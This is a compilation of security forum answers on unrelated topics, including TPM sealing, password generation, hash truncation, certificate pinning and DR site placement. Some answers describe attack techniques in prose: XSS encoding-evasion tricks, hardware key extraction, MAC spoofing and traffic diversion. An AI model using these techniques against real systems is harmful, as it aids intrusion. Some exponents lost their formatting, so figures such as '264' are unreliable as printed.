It's important to understand that while the TPM collects those measurements, it does not take action on them-actually, it can't. The value of those measurements can only be seen with the seal()/unseal()/quote() operations: Now that we have measurements in the TPM's PCRs, we can use the unseal() operation to reveal a secret which is only accessible if the correct PCRs values are in the TPM-they are used as encryption keys. This basically means that a secret can only be accessed if the proper environment was loaded via SRTM (BIOS, bootloader, kernel, etc) or DRTM (SINIT and MLE (kernel, etc)). See this answer for more info.
For more info, I suggest you read this 101 and then this document.


There could be many reasons the script is not being executed:

It is being blocked by a browser filter or a CSP. If this is the case, it would not be displayed on the page, but it would be part of the source code.
The fake email is properly encoded. If this is the case, you would see it as e.g. &gt;script&lt; in the source but <script> in the page.
It is being inserted into the DOM with JavaScript using a safe method like textContent.

In general, if you see the payload on the page it is a sign that the filtering is working as it should. If you see it unencoded in the source, it is a sign that you have found an XSS vulnerability. In any case, you are correct that the site in question needs better email validation.


Strange data size when generating a very large word list with Crunch

Yes, this is a bug, but not a problematic one.
crunch counts the expected number of bytes as a 64-bit integer. When you look at the number of bytes of the bottom output, you  can see that it is 17251705690018753536, which is a rather huge number.
In fact, if we take the log_2(17251705690018753536), we get 63.9..., which means that it's very close to the 64 bit overflow point, which is 18446744073709551615. By adding more characters to the wordlist, the number becomes too large for crunch to handle and it will roll over. Any subsequent output count will be useless and arbitrary.
But why is this not a problem? Simply put, because nobody makes wordlists this large. Could this be fixed? Yes, crunch could use 128-bit integers, but it would not really solve any real-world problem.


Telling the difference between a prepaid card and credit/debit card

can your payment provider help you?
some fraud services might be able to help you, such as https://www.maxmind.com/en/minfraud-services
buy a bin table of your own, but above-mentioned minFraud should do the trick, it has a per-transaction cost so depending on your volume option 2) or 3) might be more preferable
if you are doing 3d secure transactions, there's a hack: business cards & prepaid cards always return ECI 7, you can use an MPI service and avoid just those (skipping the rest of the authentication process if you don't need it)

Trick is, I am not 100% sure that official Visa/MC bin tables contain prepaid yes/no information or how up to date they are, if they don't then your payment provider, services such as minFraud or a BIN table you bought yourself might not do the trick 100% - so I hope 95% is good enough for you.

On the other hand, using an MPI to check for ECI 7 will result in some false positives (business cards, technical issues) and might not be 100% future proof or world-wide usable because it depends on Visa/MC rules that are out of your control, are time variant and geographically diverse.


Distance between main site and Disaster recovery site

It depends on the geographic scope of the threat that you are trying to mitigate balanced with the costs and impact of distance on operations and recovery.

If the main site is in a drought-prone wooded forest with dry grasslands, you'd want your DR site beyond the fire zone. If the main site is in an earthquake zone, you'd want your DR outside of that zone. If the main site is in an area where the infrastructure itself is a risk (unstable governments, unreliable communication lines, etc.) you would want the DR site in an area with different infrastructure. And so on.

But distance incurs cost and impact. To place your DR site on the other side of the planet means that you are maximally separated from any geographic zones the main site might be exposed to, but in a disaster, it is maximally difficult to get to the DR site. Distance, itself, becomes a risk factor to consider and weigh against the risks calculated for the main site.

So, I doubt you would find any regulations regarding a "safe distance" because it is a function of the geographic risks, risks incurred by increased distance, and costs and availability of a DR site in a particular location.

Always remember, mitigations always introduce their own, new risks to weigh. Costs and risks of mitigations must not exceed the impacts of the main risk subject.


A predictable password generator for offline clients

You want to set up a security system where the password is derived, both client-side and server-side, from the current timestamp via a certain algorithm.

Either

you keep the algorithm secret (security by obscurity) which is a terrible choice, as once the algorithm is discovered your whole system falls apart, or
you introduce a shared secret, which must be shared between client and server, in the computation of the password; in this case you might as well use the shared secret as password, without need for the algorithm. (This is what is done e.g. in RSA Tokens, where the shared secret is embedded in the hardware.)

In both cases, you need strict time synchronization between client and server to be sure that the algorithm outputs the correct result.


Choosing encoder for payloads in metasploit

Yes, you can use it from the command line with msfencode if you're generating shellcode or from within msfconsole using the set and show encoders commands. You can find more details about this here: http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands


It works on Chrome too, but so far (Version 26.0.1410.64 m) only with the temporary X-Content-Security-Policy instead of Content-Security-Policy header, as defined in the already updated code samples. W3C Web Application Security working group just moved the Content Security Policy 1.1 from previous working group draft to a W3C Editor's Draft status today, on 28th of April 2013. What are the chances of that, huh?

I guess Google Code jumped the gun with already updated code samples a few days too soon, and I expect the next Chrome update to change this accordingly.

Anyway, the solution was hiding in the fineprint of the Google's cached copy of previous draft version of CSP 1.1:

  This document describes a proposal that has been discussed by the
  broader community for about two years. There are experimental
  implementations in Firefox and Chrome, using the header names
  X-Content-Security-Policy and X-WebKit-CSP respectively. Internet
  Explorer 10 Platform Preview also contains a partial implementation,
  using the header name X-Content-Security-Policy.

If we check Google Code samples again, the difference in these header values becomes glaringly obvious:

<meta http-equiv="Content-Security-Policy" content="script-nonce noncynonce;">

So it looks that all you have to do (for the time being, until Chrome updates to reflect the status change of the CSP 1.1 proposal) is, to change the header name back to X-Content-Security-Policy.

I've also tested these samples on latest Firefox and Opera browsers, and they already accepted Content-Security-Policy and didn't complain with console errors.


Security/Privacy reasons NOT to buy an IPhone

Your operating system knows everything about you. Everything you do, everything you see, everything you type can be stored, manipulated or transferred by your OS. If you are not able to see the source code of the OS, you are at the mercy of the supplier and have to trust him that he is not malicious.

This, of course, is not just a problem of iOS but of any closed source operating system, be it from Apple, Microsoft or a vendor installed Android. As Billy Joel would put it: It has always been a matter of trust.


What are the typical ways to generate a One Time Password?

Think about this implementation (Disclaimer: this is basic):

Server displays a Random Number that changes every 30 seconds (R)
Mobile device has a unique device ID (DID)
Server maintains a record of authorized DIDs
Both server and mobile device share a secret (S)

When the mobile device wants to log in, it requests the active R from the server. The mobile device then calculates hash(S + DID + R) and sends the result to the server along with the DID. The server uses the same algorithm, and if it matches, then you have some level of assurance that the authorized device is the one now actively logging in.

Couple this with a typical username/password credential that is tied to the DID and you have a VERY basic 2FA. The downside is the necessity to maintain and communicate S before this process begins.

This process is the basic function of OTP generation, but there are more secure means of implementing it if you look. Remember the rule:

  "Don't Roll Your Own"


Take a look at NoScript. Obviously its main purpose is to deactivate JavaScript (and other "add-ons" to your browser) globally and activate it only for selected (i.e. trusted) sites. Nevertheless it can be operated differently, e.g. you can leave JavaScript activated, while still profiting from other security mechanisms, e.g. its ClearClick technology, which exactly addresses your concerns.

Refer to the appropriate FAQ section for details on what this protects you against and how it works. The FAQ also states that you are pretty much out of luck, when not using Firefox. I'm not sure whether this is an overstatement, but at least I'm not aware of any alternatives.


How can I select a compression utility that is popular and secure enough

WinZip offers AES 256 and uses PBKDF2 to generate the key.  It only uses 1,000 iterations, but with a sufficiently long password it should provide good security.

http://www.winzip.com/win/en/aes_info.html

To be honest, I think plain Zip with PGP would be better, but if you have non-technical people that you want to access this then passwords are easier.


Reliability of Padding Oracle vulnerability testers

The version would most likely be checked based on HTTP header or default error pages. This also seems to be the assumption of your hoster, which says that they are sending out the wrong version, which results in false-positives.

Qualys however says that they do not test this via version, but via a test that is based on this test.

Cloudflare describes the test (and also the vulnerability itself):

  Detecting a vulnerable server is as easy as sending an encrypted message which decrypts to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, and checking if the TLS alert is DATA_LENGTH_TOO_LONG (vulnerable) or BAD_RECORD_MAC (not vulnerable)


"Reverse" approach to one-time key generation

As long as your RNG is a cryptographically secure RNG (CSRNG), and your encryption scheme of the one-time key does not involve any padding, it is in fact completely equivalent to randomly sample the plaintext of the one-time key or to randomly sample the ciphertext of the one-time key.  This follows from the fact that any unpadded encryption scheme is a permutation, and therefore if the plaintext has a uniform random distribution then so must the ciphertext, and vice versa.


It is safe not to encrypt sensitive data in transit over some wires only insofar as no evildoer may physically access these wires at any point. So, in fact, no, it is not safe. In urban environments, cables run most of the time through tunnels shared with a lot of other usages (e.g. sewers or subway tunnels) and not under robust shielding or 24/7 guardianship. In the countryside, such links will often be buried in trenches not far from roads, and can be preyed upon by any attacker with some dedication and a shovel.

A 75 years old grandmother once shut down the quasi-totality of Internet access in Armenia in similar circumstances. Assuming that things are more "protected" in richer countries (like, say, Western Europe or the USA) would be a gross miscalculation of what cost/benefit analysis means. Cables are left unprotected because nobody would accept the price of physically protected cables, both in Armenia and in New Jersey.

Of course, that's only customer data. Nothing important, then.


Access to other local files from a local HTML file

The actual rules of which files a local html file may access are browser depended. Chrome is a lot stricter than other browsers. Firefox allows access to files in the same folder and down the folder hierarchy as far as I remember.

Ordinary people with little in-depth background knowledge may save a html file with a cooking recipe, a book extract, a travel guide, etc. to their home folder. They don't except such a document to be dangerous. Keeping that in mind, it seems sane, to prevent saved .html files from accessing other local files.

To quote someone on the referenced bug report:

  who cares if a webpage can read your credit card numbers by blinding guessing filenames in your profile directory, it can't actually do anything with them if access to internet resources is properly restricted.

The condition in the "if" part is not met: The same origin policy does not apply to image files and scripts loaded via the script tag, to name just two examples. So a locally running JavaScript can leak information to a server on the internet by encoding it in an URL.

Especially saving to the home folder is problematic, because at - least on unix systems - there are well known files with sensitive information such as: mbox, .gnupg/secring.gpg, .ssh/id_rsa, .ssh/id_rsa.pub.

Providing an installationless local http server is a workaround for this issue.


The user account password is stored somewhere "on the user". The user is theoretically responsible for protecting his own password. Ideally, he keeps it in his head and types it again when needed.

Some (most) users won't like it, and will instead enabled the "remember password" button, which will make the email client remember the password. If the email client is reasonable and runs on a reasonable operating system, this storage can be somewhat protected. For instance, on MacOS X, using Apples "Mail" application, account passwords will be stored in the user's Keychain, which is stored encrypted, the decryption key being the main user password (the one he types to open a session or unlock it). That way, the email account password is never stored as plaintext equivalent; an attacker stealing the complete hard disk of the machine will not immediately find it. (But it won't save the user against an hostile but discreet hijack of the machine, because of, at least, key loggers.)

Some other applications and/or operating systems won't be as reasonable as that.

Among possible mitigations:

Each user shall have his own account and password. This one, you already do. This ensures that a stolen password unlocks the account of only one user, which is better than nothing.
The email account password could be specific to email, and not be used anywhere else, in particular not to open SSH or RDP sessions. Users won't like it (they really prefer remembering one password than two). Also, most "password reset" systems fall back on email, so stealing an email account password can open access to a lot of other systems.
Implement one-time passwords. Hardware tokens such as this one are granted to users. Email applications won't have anything to save poorly.

However, user education is of paramount importance.


There is no absolute answer, because it depends on the attack model. By truncating the hash, you make some operations easier; this is bad if the attacker wants to perform these operations, and making them easier actually makes them feasible.

There are three main characteristics that cryptographic hash functions try to fulfil:

Resistance to preimages: given x, it should be infeasible to find m such that h(m) = x.
Resistance to second preimages: given m, it should be infeasible to find m' ≠ m such that h(m) = h(m').
Resistance to collisions: it should be infeasible to find m' ≠ m such that h(m) = h(m').

For a perfect hash function that has an output of n bits, costs of finding preimages, second preimages or collisions will be, respectively, 2n, 2n and 2n/2. By truncating the hash output, you lower these costs correspondingly. As a rule of thumb, a cost of 264 is very hard (feasible, but it takes more than a dozen PC) and 280 is infeasible.

In your case, if a collision is interesting for the attacker, and he gets to choose what is hashed, then the attacker will try to input two data elements that imply a hash collision (on your truncated hash). Truncating to 12 bytes makes the attack quite feasible, easy if you go down to 8 bytes. On the other hand, if all the attacker can do is to try to find some data element matching a given truncated hash (second preimage), then at 10 or 12 bytes this is still too hard to be feasible, and at 8 bytes it is merely "very expensive" (so probably not worth the effort).

If there is no attacker and you are just fighting bad luck, then truncating to 8 bytes incurs the risk of spurious collisions; you should reach your first collision after (on average) entering a few billions of entries. Depending on your situation, this may or may not be tolerable.


Demonstrating reflected XSS with GET Parameter and URL encoding

A few possibilities:

Internet Explorer doesn't automatically hex-encode characters in the query string. Up to your client whether that browser still has enough market share to matter to them.
Apostrophes (single quotes) don't get encoded in Edge, and maybe some other browsers. If there's a string you can inject into delimited by those, there you go.
Backslashes don't get encoded in any common browser. If you have two injection points and the first one is immediately followed by a string-terminating character, you can escape that character and may be able to get everything up until the second injection point was due to start treated as text, in which case the second injection point will be treated as code.
<> are encoded in all major browsers other than IE, but if you can inject them, you don't need any special dancing about with quotation marks; just terminate the script block (even in the middle of a string!) and inject your own HTML.
Make sure you can't restructure the request as a POST, and insert your payload in the body. No auto-escaping there!
Check if the payload can be put in a parameter body, rather than its name; some browsers might do less escaping there.
Check if there's anywhere in the site that reflects input unsafely after decoding it in some way (URL, HTML, JS literal, etc.). It's actually pretty weird for a web app to reflect parameters without decoding them first.


You can buy the standard in PDF at http://www.iso.org/iso/catalogue_detail?csnumber=54533 for CHF 178
or
Check the below link for entire toolkit containing all you need. For just list of Controls look for SoA document.  http://www.iso27001security.com/html/iso27k_toolkit.html

Also please note that now there are 114 controls in 14 groups; the old standard had 133 controls in 11 groups. Refer https://en.wikipedia.org/wiki/ISO/IEC_27001:2013


Technically yes. HAproxy doesn't prevent other programs running on the server.

Do understand that there are at least two downsides to this approach:

It reduces the effectiveness of the LB because the LB is serving
additional programs. Arguably you could configure the LB with more
CPU/RAM/IOPS to compensate - but that's extra cost.
The idea of a load balancer / HA proxy (not the same concepts,
though the tech overlaps) is to have at least two FEs behind it.
Both to handle load as well as to handle failures. Again,
theoretically, you could have both FE and BE on the same node as the
Load Balancer - but that only reduces the application robustness as
well as security (an attacker wouldn't need additional effort to get
to the BE if the LB is compromised).

In the end, it is not only  saving-one-IP-address vs design weakness, but also the additional cost of compensating the LB configuration & the additional effort to secure.


How secure is this JavaScript password generator?

Your problem is Math.random(). That is not cryptographically secure. I think it is securely seeded on most implementations, though, so if you are just generating one password you are fine. But if you use this to generate loads of passwords they will become predictable. That is bad. But it is sort of hard to work around in JavaScript - if you don't have a CSPRNG, you don't have a CSPRNG...

There might be other issues as well that I have missed, but that is what stands out to me.

As for password length, there are way fewer passwords that are 1 to 15 characters long than there are passwords that are 16 characters long, so you aren't really missing out on a lot. If you still do want a random length anyway, you need to think about what distribution you draw the length from. Using a uniform distribution (e.g. your _getRandomByte) will give you less entropy and not more, since you are to likely to generate short passwords.


UPDATE 2017-07-09: Thanks to those folk who have given updates regarding SpiderOak encryption keys.

That certainly reduces the risks but, as we've seen with LastPass, that doesn't necessarily eliminate it. And that's the point, you have to do your own risk and impact assessment when you store sensitive data in the Cloud. Choosing a supplier that has taken the time and money to obtain government and industry security certifications is a mitigating factor but might be more expensive.

Bottom line: if you choose a supplier with the lowest cost, you have to accept some compromises.

That approach would not seem to be the best one but it isn't that bad and certainly better than many cloud backup services do.

The best approach is for the keys to be generated by you locally so that the cloud service never has a copy. That way there is no way for the service to be able to decrypt your data.

In this case, you are having to put trust in the service that they won't and don't take a copy of the keys before they are encrypted and that their system is secure enough that the keys are protected when you unlock them.

I would say that this puts the risk at "low" given the track record of SpiderOak. But obviously, this depends on the data you are trusting them with. I certainly wouldn't consider it for highly sensitive data or really high value data. But for most uses, it would seem OK, though only you can really assess the risks/impacts for your data.


Is there a diagram based language for modelling security?

I have not (yet) found such (markup) language for modelling.

This was the closest I found, but it's not really suitable:
Secure Tropos

"Secure Tropos is a security-aware software systems development methodology"


Can you get virus just by visiting a website in Safari using cache?

Drive-by vulnerabilities in web browsers became a lot less in the past years. The browser vendors really upped their game in regards to security. Further, the Google cache should filter a lot of things out of a website which might be required by some attacks. So the risk is low.

But there is never zero risk. It is always possible that there is an unknown vulnerability in your version of Safari which can be exploited in a way which even works if the website is cached by Google. The risk is very low, but not zero. Still no reason to panic, in my opinion.


Is there an equation to calculate the number of instances of a series of characters exist in a given key space?

For n-character passwords without two identical adjacent characters, @Stephen gives the solution: that's 94*93n-1 passwords. Reasoning is simple: you are free to use any of the 94 characters for the first character, then for each subsequent character you may use any of the 94 except the one which you just used, so 93.

For n = 16, you may see that you keep about 85.2% of the complete space of 9416 possible 16-character passwords. You lose less than 15%, so the security reduction is not huge.

If you want to avoid sequences of three identical characters, then the computation is more complex, but the involved space reduction will necessarily be lower, because any password with three consecutive identical characters is also a password with two consecutive identical characters. Therefore you will always keep at least your 85.2% of the original space. Moreover, the number of passwords with three identical consecutive characters is no more than (n-2)*94n-2 (this is a gross overestimate); for n = 16 this figure is about 0.16% of the total space, so ruling out passwords with three identical consecutive characters will leave you more than 99.84% of your original space.

For the formula above, I just "choose" the position for the first character in the three-character sequence, and I get to choose n-2 characters freely. This is an overestimate because I am counting twice the passwords with two sequences, thrice the passwords with three sequences, and so on. But an overestimate is sufficient to show that the space reduction effect is negligible.

Reduction of user patience, however, might not be so negligible. Remember that every single "password complexity" rule will be considered as a burden by the user, and antagonizing the user is the last thing you really want in practice.


Does sending image files in http in a secure application pose any risk?

If HTTP resources are loaded into an HTTPS page, then the padlock icon will disappear from the client's browser because the page isn't secured properly.

This is very bad because users will be unable to distinguish between the real banking site and a phishing website. (Hopefully most users will notice the absence of a padlock and exit straight away.)


How to obscure client keys from network interception or MITM

This depends on the kind of attack you expect:

If the attacker is purely on the network trying to do a man in the middle attack then protecting the connection with TLS (i.e. HTTPS) should be sufficient. Additional protection can be added by using certificate or public key pinning.
If TLS/HTTPS is not an option you can used digest based authentication for a proof that the client owns the token. You could of course also combine it with TLS.
If you fear that the attacker can get access to the app and extract the key you've lost anyway. In this case you can only try to limit the impact, i.e. use code obfuscation to make reverse engineering and extracting the key harder, employ rate limiting to limit abuse and change the access key and obfuscation strategy often enough, i.e. ideally before the key gets exposed.


The scenario you describe is a "common download secenario".
The "first party" simply has to publish the hash of the file on the same server where the "second party" can download the file.

The second party can then calculate the hash of the file and verify it with the published hash on the server.

If your assumption of an "secure server" implied that information on the server cannot be manipulated or replaced by an attacker and the communication is secured by TLS, then this workflow is secure.

There are many examples of this practise e.g. look at https://www.openssl.org/source/, where the sha256 hash of each .tar file is published.

  what is the best hash function to compute for file integrity

common used hash functions like sha256

  what is the best way to exchange the hash between the two parties

already answered above, just publish the hash of the file on the server.


Is dns ddos protection enough for my website ddos protection?

Nothing is 100%, but this will mitigate many of them. But if enough bandwidth is thrown at the DDOS protection company then in theory you could still loose your site, that said companies such as CloudFlare are built to protect as well as possible.

Also, make sure your server/site is never referenced directly from public facing sides of the internet, otherwise attackers will attack the endpoint directly.


Use Snort to limit or prioritize application bandwidth usage

Snort is designed for Network Intrusion Detection. For bandwidth shaper, you need to get a firewall system. Products you can try:

pfsense
wfilter NG firewall
untangle


How to make sure my HTTP server on Win 7 is secure?

When I hear this question, my first response is don't. If you are at all concerned about your personal network and your personal data, don't expose any part of it directly to the internet by hosting services.

If you feel you must, here are some steps:

Host the website on an entirely separate machine with nothing else on it
Put that machine on a DMZ (most routers allow you to set up a basic DMZ) so that there's no direct connection from the machine to your internal network
Have backups
Properly configure the router
Further segment with a hardware-based firewall to mitigate pivoting to your network as well as compromised services from sending spam and malware

This is not to deter you from learning but rather to serve as a helpful warning. Furthermore, this does not cover proper permissions on the host, ensuring your code is resilient to attack, and other components of CIA (confidentiality, integrity, and availability).


Is it possible to detect when a device has been MAC filtered on a Wi-Fi network?

MAC filtering is implemented by, indeed, ignoring packets whose source MAC address is deemed "inappropriate" by the access point. You won't get a response packet informing you that the access point does not wish to talk to you.

You can test for a blacklist filter by temporarily changing the MAC address of your device: if the device can connect with another MAC address, then its "natural" MAC address is blacklisted. However, most MAC filters work more with whitelists, i.e. a finite short list of allowed MAC addresses, all others being filtered out. This can be tested by configuring your device to mimic the MAC address of another device which is allowed to connect. (For tests only ! Stealing MAC addresses is rude, and usually illegal if you do it in order to work around a security system. Also, having two devices with the same MAC address, up simultaneously, tends to break connectivity for both.)


How much of the system is secure boot going to cover?

Your boss is mistaken I'm afraid. Here's how it works in Windows

Secure boot secures the bootloader
Trusted boot then takes over to load the kernel
ELAM takes over to load the drivers
Measured boot finishes off the process

So each stage secures the next one, each of which is performing more complex actions, which makes sense, you want anything security related to be as minimal as possible to make it easy to reason about. Once you are past the boot process, Windows Defender is the main mechanism for protection.

This is how it works when your PC is getting software updates all the time. But all the layers are required to protect the entire operating system as your boss wants.

I am pretty familiar with Debian but I'm not aware that it can do layering like this. I protect Debian systems in userspace with AppArmor.


Why would it be preferable for a system to shut down when the security log is full?

Simply put, the Integrity of the system is more valuable than its Availability.

This rule ensures that the system is never running without logging, never running in an un-accountable state.  It is preferable at certain high levels of security that the system stop running than the system run without provable security in place.

The alternative would allow someone to generate spurious security event log messages, then when the log was full, perform an actual attack and breach the system somehow, without it being logged because the log was full.


In computing, Real-Time means the study of systems that must operate within strict time constraints. This is a very large class of systems, and it tends to include most applications with a user interface. For instance, if you go to Youtube and view a video, then this is a real-time application: the downloading, decompression and display of the pictures must happen at a strict schedule so that the movements are smooth and kept in synch with the audio.

From your expressed concern about power consumption, I surmise that you do not really mean "real-time"; rather, you want to know about embedded systems, another very large class of systems. Power consumption is most relevant for systems that must operate over a battery, so in particular portable devices.

The list of devices that use encryption is open-ended, so you cannot gather them all. However, one can remark that any system that engages in SSL/TLS will use one of the encryption systems that are supported in that protocol; this will most of the time be AES, 3DES or RC4. Among systems that do not use one of these three algorithms, the most notable are GSM phones; older protocol versions (2G) used A5/1, a custom stream cipher; newer versions (3G/UMTS) rely on KASUMI. An important point for the discussion at hand is that while A5/1 was designed for very low power consumption and easy hardware implementation, KASUMI is much more "software-like" in design, which means that for phones that support 3G, the encryption system has become quite negligible in the overall power consumption. Indeed, any smartphone will routinely engage in Web traffic, and this includes HTTPS, hence SSL, hence AES/3DES/RC4.

In any case, power consumption depends a lot on the implementation technology, so there cannot be any absolute answer; moreover, any comparison becomes obsolete after a few years, as technology evolves.

This article describes a comparison of various "lightweight" block ciphers, focusing on energy consumption in dedicated hardware platforms (i.e. custom ASIC). This should give you pointers, and accepted terminology for further Google-based searches.


Self Signed SSL Certificate - How to verify it correctly on the client side?

My question relates to the verification logic on the client, which unfortunately, won't have access to the root certificate in trusted root certificate authority.

In this case you cannot validate against the root CA but must trust each certificate by its own.

  ... might be possible that someone creates their own SSL certificate and just uses this thumbprint value (which of course is publicly available)?

The thumbprint or fingerprint of a certificate or public key is a cryptographic hash over the certificate containing the public key or the public key alone. Since the secret private key must match the public key in the certificate and an attacker has hopefully no access to this private key (wouldn't be private anymore then) it is practically impossible for an attacker to create a certificate with the same fingerprint AND have the private key for this.

Since ownership of the private key of the certificate is checked during the TLS handshake this means it is sufficient to check the servers certificate against a stored fingerprint - provided that this fingerprint was created using a secure hash like SHA-256 and not an insecure one like MD5. But of course the application could also store the full expected certificate or public key and compare it.

  Does this justify the additional overhead for each initial request?

I don't think that there is any noticeable difference between comparing the fingerprint or comparing the full certificate. If there is any difference at all then comparing the full certificate is probably the fastest since there is no need to create the fingerprint from the certificate in order to compare it.


Would a hard-coded public key or fingerprint protect against MITM?

TLS key exchange does not allow undetected MITM

The existing protocols e.g. HTTPS/TLS do not really provide an opportunity for MITM, the key exchange is secure. The certificate signing authorities might be compromised, but existing techniques such as key pinning prevent that - you might think of HPKP standard as the recommended implementation of "a hard-coded public key or fingerprint".

The drawbacks are simple - first, if a particular public key is hardcoded in the client, then it becomes very hard for the legitimate owner to change their public key when needed, e.g. to periodically rotate it, or to revoke a compromised key; and second, you still need to get the initial key from every server to the client which brings you right back to all the key distribution / key exhange problems.


Does DPAPI works if a user hasn't a login password?

Yes, but it's not quite as secure. DPAPI encrypts data with a master key, which is independent of the user password. When the user has a password, the master key is encrypted with the user's password. Without a password, an attacker with local access (via another user account) might extract the master key. However, once an attacker has local access to the system it's game over anyway. DPAPI is just a damage limitation system, really.


is it possible to intercept network packets outside lan?

I.e without access to others computer.

I'm assuming that you mean that A cannot access the computer of B and B not of A, but they can access other computers on the internet.

Since information are not exchanged directly between parties but involve multiple hops there are several ways to intercept the data. Just to give you an idea what can be done here are some real-life examples:

Have some kind of wiretaps at these hops: This includes backdoors in routers or firewalls, wiretaps at central hops like several state agencies (NSA, GCHQ) have, hacking the router...
Divert the traffic through hops which are controlled by the attacker: This includes  BGP spoofing but also changing the DNS settings in SoHo routers with CSRF attacks or similar.


If you have physical access, you can pretty much get anything you want out of the CPU.  Particularly if you have a semiconductor test lab. Here's a quick, incomplete list, of how to get data out.

JTAG:  JTAG is the simplest method as it does not require you have any specialized equipment, and it's inexpensive ($100USD).  The downside is that you have to stop the clock.  The system also might be aware that it is in boundary scan mode.
Probe Station: This is a complicated method. You decap the IC and then can physically probe metal lines to get power information if the circuits are CMOS as it is voltage mode.  The engineering time to know what you are looking for, and the cost of a probe station is prohibitive.  Outside of engineering time, you'll need ($25kUSD) just for a probe station to get you 8-bits.  It will go on up from there, but in the case of AES-NI, because it's a physical implementation, it's pretty obvious where the S-BOX hardware is.  Also, on the one die that I saw with a SEM, it would be really easy to get to the data because the keys ran a long way on higher metal.  Furthermore, the risk of damage to the IC is high because you are physically touching the wires.
Optically:  This is the safest method to extract information where you look at the emissions from "switching" that are created when you have hot carries that put out an emission as they return to a lower energy level.  This is an effect in classic physics that will always happen in a MOS device. You still need to decap the IC, and have a feel for what you are looking for specifically, but it does no physical damage.  You also need a very good high speed imager, a gas chamber for your inert gas to keep the die from oxidizing, and a good engineer.  This very complicated method will set you back about ($1M USD).

I have left out power attacks as I don't consider them to be very practical in most cases.  I have decapped and FIB'd on power taps, but that's similar to the probe station method.  Most large CPUs just have too much substrate noise for an external power attack at this point.   You could also use quantum magnetometers spy on the traces on the ICs; however, this is basically theory. Igor Savukov has magnetometers with sensitivity that is high enough get B-field information out of traces, but that's also in the exotic range.

Basically, unless you are doing JTAG, it is generally out of the realm of probabilities for individuals.


This answer applies when the ATM uses the card's magnetic stripe, not when the card's chip is used.

The keyboard of an ATM is a completely separated device with special hardware security features (like self-destroying chips if someone tries to open it, etc.) because it's the bottleneck of the whole ATM security.

When you enter a pin, the ATM itself won't receive the PIN in plaintext, but rather get the PIN encrypted. When it sends a transaction to the main server, it cryptographically combines the encrypted PIN with the amount of money specified in the transaction to prevent attackers from modifying this amount.

If the ATM would have verified the PIN before the transaction (by sending it to the server), the specification of the amount of money couldn't be securely related to the knowledge of the PIN.

Therefore, the ATM can't verify whether the PIN is valid or not until it attempts to issue a transaction to the main bank servers (who know how to decrypt or otherwise verify the encrypted PIN).


You have two separate questions here:

  Is logging number of special characters in password a bad idea?

I would say that is a bad practice. Off the top of my head, if an attacker is trying to brute-force / crack your users' password hashes, then knowing the number of special characters gives the attacker the following advantages:

It reduces the number of brute-force guesses because they only need to build a dictionary of candidate passwords with exactly that number of special characters. I won't do the math here, but see this answer of mine for an idea of how much that might reduce the effort. How critical is it to keep your password length secret?
It tells the attacker which users are "low-hanging fruit". IE who has a weak password and should be attacked first.

So yes, I agree this is a bad practice. I really can't imagine what legitimate reason there is to log this information ... ? I could see maybe someone put the log statements in while debugging the Change Password feature, but those logs statements should almost certainly be turned off in production.

Your other question:

  From other hand, this issue wasn't picked up by pen testers.

To second @schroeder, pentests are usually very limited in scope (what they're allowed to look at / report on), limited in time (how long they have access to the system for), and limited in domain knowledge of your application (specifically where to look or poke). So a pentest report should be read as a measure of how easy it is to find issues, not as a complete list of issues.

If a specific issue was not mentioned by the pentesters, that may mean that A) they found it and it's not as issue, or B) they found it and that specific tester thought it was ok but a different tester would have reported it, or C) they didn't find it in the time / scope given.


What is the difference between protocols and algorithms?

This two words as nothing common... (like searching for differences between house and business)

A protocol, like in politic, describe the form of a communication or exchange and have to be respected
Algorithms are such cook books who describe the manner of reaching a goal and have to be applied or followed (@community: Please edit! I'm not sure about best verb to write there... executed, developped, build... ).

The respect of a protocol could require the use of no, one or many algorithms, depending on what we are speaking about.

You may use some algorithms locally for your own needs, without having to respect any protocol...


Is an identity certificate the same as a public key?

Is identity certificate same as public key?

No, a certificate contains a public key but is not the public key itself.

  If no, then is identity cert considered a secret?

Usually not, it usually contains only information not considered secret.

  How are they related?

A certificate is the public key of an identity together with more information about the identity and usage restrictions. All together is then signed by the certificate issuer.

Which identity information are included depend on the specific use case but usually contain state, country, organization, name, maybe email, ... . Usage restrictions contain the time period when the certificate is valid, if it can be used for signing, if it is a TLS server or client certificate or a certificate authority (CA) etc. The signature by the certificate issuer is needed to protect the information in the certificate against tampering and also to create a trust infrastructure which can later be used to verify the certificate - see wikipedia: Public Key Infrastructure for more on this.


"A third party is capable of monitoring your network activity" with [imported] certificates?

If you add a root certificate to your device, that cert could be used to sign SSL certificates for any domain.

That is, CAcert could — in theory — sign a cert for google.com, and your device would accept that as being valid (since you've added their root to your device).

That's not too different from any other root CA signing certificates they actually shouldn't sign, but the risk is certainly higher with a self-added "random" root CA like CAcert.


Should passwords be revealed in error message?

This question is loaded, but I completely agree on the answer: no, passwords should not be revealed in error messages. Passwords should never be written out anywhere without the explicit consent of the user. Consider the following roles and how they might access the wrong password that the user just typed:

The user. That's the only role who should be able to know what she just typed. Fine.
Someone shoulder-surfing. Most password entry forms obscure the password into ****; showing a password on-screen defeats this protection. This is irrelevant if the password is not shown in a production environment (but more on this below).
An administrator of the system where the password was. A rogue admin can generally obtain the password by inserting some surreptitious logging code, however this is an active attack, at risk of being detected. Even if the password is only shown in development configurations, it means the code is there and can be reactivated with an innocent-looking change of many configuration variables at once. It is common practice to hide passwords from administrators: they are not logged by any non-web general-public software that I've ever seen; system administrators and IT support staff routinely avert their eyes when a user is typing a password in their presence.
A developer of the application to whom a bug report has been made. That role never should have access to passwords. Including passwords in error traces, even if they are only shown to those who have the most use from the traces, is not good.
An attacker stealing a backup of error traces, or being able to see a backtrace du to a misconfiguration (such as accidentally setting display_errors=on).

The value of the wrong password as an asset depends on what it is. If it is a typo on the correct password, the wrong password is practically as valuable as the correct password. If the password is a password for another site (oops, I typed my production site password in the user login form on the test environment), it is practically as valuable as a credential to that site. Revealing the wrong password has high risk of disclosing a high-value asset.

The developer's response is deeply unsatisfactory:

  Yes, running production server with display_errors=on and printing out backtraces with argument is a security risk. That's why you should never do it.

First, there is a strong security concern even in a development environment, even if the logs are only ever shown to those who would legitimately see them.

Second, everything “is a security risk”, but some risks are worse than others. Backtraces can reveal confidential information that may be assets in themselves or may become one step is an attack path. That's not as bad as handing out passwords on a silver platter.

